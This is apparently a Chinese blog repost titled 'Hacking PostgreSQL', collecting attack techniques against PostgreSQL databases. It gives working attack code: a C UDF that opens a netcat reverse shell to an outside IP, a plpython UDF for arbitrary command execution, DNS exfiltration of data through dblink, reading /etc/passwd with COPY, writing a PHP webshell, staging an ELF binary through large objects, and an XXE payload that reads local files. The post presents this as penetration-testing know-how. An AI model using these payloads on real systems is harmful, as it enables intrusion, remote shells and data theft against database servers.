Hacking PostgreSQL

本文涉及的产品
云原生数据库 PolarDB MySQL 版,Serverless 5000PCU 100GB
简介:

Hacking PostgreSQL

作者

digoal

日期

2016-10-18

标签

PostgreSQL , sql注入 , ssrf , PostgreSQL , hacking


本文为基于转载的加工文章,原文地址

http://www.cnblogs.com/Yinxinghan/p/Hacking_PostgreSQL.html

背景

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

SQL 注入

大体上和 MySQL 差不多,有一些变量不一样。

具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。

此外,利用 sqlmap 也是一个不错的方式。

执行命令

C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。

根据官方文档,我们要定义一个 PG_MODULE_MAGIC。

大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

执行系统命令的动态链接库源码为:

 1 #include "postgres.h"
 2 #include "fmgr.h"
 3 #include <stdlib.h>
 4 
 5 #ifdef PG_MODULE_MAGIC
 6 PG_MODULE_MAGIC;
 7 #endif
 8 
 9 text *exec()
10 {
11     system("nc -e /bin/bash 10.211.55.2 9999");
12 }

利用如下命令编译 .so 文件:

gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so

在 pgsql 里执行:

CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();

监听的 9999 端口得到一个 shell:

pic1

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

apt-get install postgresql-plpython-9.1

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。

安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

pic2

创建好 UDF 后,直接调用如下语句即可:

select system('ls -la');

pic3

此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。

文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

DNS 请求获取数据

同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。

用到的一个扩展叫做 dblink,可以通过如下命令开启:

CREATE EXTENSION dblink

接着运行如下语句,获取当前数据库用户名称:

SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

pic4

远程获取到请求内容:

pic5

读写文件

PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;

读取结束后:

DROP TABLE temptable;

新版本则可以直接通过函数或者使用大对象操作接口来读取。

 pg_catalog | pg_read_binary_file       | bytea            | text                                                                                                                                                                            
 pg_catalog | pg_read_binary_file       | bytea            | text, bigint, bigint                                                                                                                                                            
 pg_catalog | pg_read_binary_file       | bytea            | text, bigint, bigint, boolean                                                                                                                                                   
 pg_catalog | pg_read_file              | text             | text                                                                                                                                                                            
 pg_catalog | pg_read_file              | text             | text, bigint, bigint                                                                                                                                                            
 pg_catalog | pg_read_file              | text             | text, bigint, bigint, boolean                                                                                                                                                   
 pg_catalog | pg_stat_file              | record           | filename text, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT creation timestamp with
 pg_catalog | pg_stat_file              | record           | filename text, missing_ok boolean, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT cre
ation timestamp with time zone, OUT isdir boolean | normal
 pg_catalog | lo_close                                 | integer                  | integer                                                                                                      

 pg_catalog | lo_creat                                 | oid                      | integer                                                                                                      

 pg_catalog | lo_create                                | oid                      | oid                                                                                                          

 pg_catalog | lo_export                                | integer                  | oid, text                                                                                                    

 pg_catalog | lo_from_bytea                            | oid                      | oid, bytea                                                                                                   

 pg_catalog | lo_get                                   | bytea                    | oid                                                                                                          

 pg_catalog | lo_get                                   | bytea                    | oid, bigint, integer                                                                                         

 pg_catalog | lo_import                                | oid                      | text                                                                                                         

 pg_catalog | lo_import                                | oid                      | text, oid                                                                                                    

 pg_catalog | lo_lseek                                 | integer                  | integer, integer, integer                                                                                     

 pg_catalog | lo_lseek64                               | bigint                   | integer, bigint, integer                                                                                     

 pg_catalog | lo_open                                  | integer                  | oid, integer                                                                                                 

 pg_catalog | lo_put                                   | void                     | oid, bigint, bytea                                                                                           

 pg_catalog | lo_tell                                  | integer                  | integer                                                                                                      

 pg_catalog | lo_tell64                                | bigint                   | integer                                                                                                      

 pg_catalog | lo_truncate                              | integer                  | integer, integer                                                                                             

 pg_catalog | lo_truncate64                            | integer                  | integer, bigint                                                                                              

 pg_catalog | lo_unlink                                | integer                  | oid                                                                                                      

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。

写 webshell 十分简单,利用:

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

即可写一个文件。

根据疯狗的这一篇帖子:

http://zone.wooyun.org/content/4971

,说是可以利用PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。

实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

其中每一段都要小于等于 2KB,这样就可以成功写入:

pi6

XXE

老版本的 PostgreSQL 存在 XXE 漏洞。

具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。

大体就是执行语句:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

可以获取一些数据,也可以进行 SSRF 等。

不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考

1. PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
http://zone.wooyun.org/content/4971

3. PostgreSQL 9.0 Documentation
http://www.postgresql.org/docs/9.0/

4. PostgreSQL (all) error-based XXE 0day
http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html

5. hack 云服务 pdf
pdf

Count

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
6月前
|
关系型数据库 开发工具 C语言
PostgreSQL libpq开发入门
简单入门C语言开发基于PostgreSQL libpq应用
101 0
|
6月前
|
存储 关系型数据库 Java
PostgreSQL 教程
本 PostgreSQL 教程可帮助您快速了解 PostgreSQL。您将通过许多实际示例快速掌握 PostgreSQL,并将这些知识应用于使用 PostgreSQL 开发应用程序。
319 1
PostgreSQL 教程
|
9月前
|
SQL 缓存 固态存储
Introducing PMDK into PostgreSQL
Introducing PMDK into PostgreSQL
42 0
|
9月前
|
关系型数据库 数据安全/隐私保护 PostgreSQL
PostgreSQL 14.2、13.6、12.10、11.15 和 10.20 发布
PostgreSQL 14.2、13.6、12.10、11.15 和 10.20 发布
98 0
|
9月前
|
SQL 存储 运维
Mastering PostgreSQL 13 的中文版出来了
Mastering PostgreSQL 13 的中文版出来了
151 0
|
11月前
|
存储 SQL 关系型数据库
|
11月前
|
SQL Oracle 关系型数据库
|
SQL 安全 关系型数据库
关于PostgreSQL的10个FAQ
关于PostgreSQL的10个FAQ
145 0
|
SQL Oracle 数据可视化
阿里云 PostgreSQL 参考文档介绍 | 学习笔记
简介:快速学习阿里云 PostgreSQL 参考文档介绍
310 0
|
SQL Oracle 数据可视化
阿里云PostgreSQL参考文档介绍 | 学习笔记
简介:快速学习阿里云PostgreSQL参考文档介绍
319 0